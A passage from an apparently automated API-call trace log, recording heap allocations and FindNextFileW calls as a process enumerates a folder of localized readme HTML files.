Flags=0x8, Size=0x80) returned 0x11fe458 [0081.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200b58 [0081.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.083] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Berime.htm", cAlternateFileName="")) returned 1 [0081.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200b78 [0081.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0081.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6580) returned 0x126d560 [0081.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250cd0) returned 1 [0081.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.085] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Esl", cAlternateFileName="")) returned 1 [0081.085] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4288, dwReserved0=0x0, dwReserved1=0x0, cFileName="IrakHau.htm", cAlternateFileName="")) returned 1 [0081.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200b98 [0081.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0081.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.086] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x423b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Leame.htm", cAlternateFileName="")) returned 1 [0081.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200bb8 [0081.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124a7e0 [0081.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.087] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="LeesMij.htm", cAlternateFileName="")) returned 1 [0081.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200bd8 [0081.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124a868 [0081.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.088] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4289, dwReserved0=0x0, dwReserved1=0x0, cFileName="Leggimi.htm", cAlternateFileName="")) returned 1 [0081.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200bf8 [0081.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124a8f0 [0081.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.090] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4273, dwReserved0=0x0, dwReserved1=0x0, cFileName="LeiaMe.htm", cAlternateFileName="")) returned 1 [0081.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200c18 [0081.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124a978 [0081.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.091] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Liesmich.htm", cAlternateFileName="")) returned 1 [0081.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200c38 [0081.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124aa00 [0081.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.092] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lisezmoi.htm", cAlternateFileName="")) returned 1 [0081.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200c58 [0081.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124aa88 [0081.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.093] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Llegiu-me.htm", cAlternateFileName="")) returned 1 [0081.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200c78 [0081.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ab10 [0081.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.095] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x434e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LueMinut.htm", cAlternateFileName="")) returned 1 [0081.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200c98 [0081.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ab98 [0081.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.096] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader", cAlternateFileName="")) returned 1 [0081.096] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4176, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe.htm", cAlternateFileName="")) returned 1 [0081.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200cb8 [0081.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ac20 [0081.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.097] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3f71, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeCS.htm", cAlternateFileName="")) returned 1 [0081.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200cd8 [0081.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124aca8 [0081.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.099] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeCT.htm", cAlternateFileName="")) returned 1 [0081.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200cf8 [0081.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ad30 [0081.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.100] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80815880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4623, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeCZE.htm", cAlternateFileName="")) returned 1 [0081.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200d18 [0081.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124adb8 [0081.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.101] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80861b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeHRV.htm", cAlternateFileName="")) returned 1 [0081.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200d38 [0081.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ae40 [0081.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.102] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4274, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeHUN.htm", cAlternateFileName="")) returned 1 [0081.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200d58 [0081.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124aec8 [0081.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.104] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeJ.htm", cAlternateFileName="")) returned 1 [0081.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200d78 [0081.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124af50 [0081.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x65c0) returned 0x12527c8 [0081.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0081.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.105] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeK.htm", cAlternateFileName="")) returned 1 [0081.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200d98 [0081.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124afd8 [0081.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.106] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4444, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMePOL.htm", cAlternateFileName="")) returned 1 [0081.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 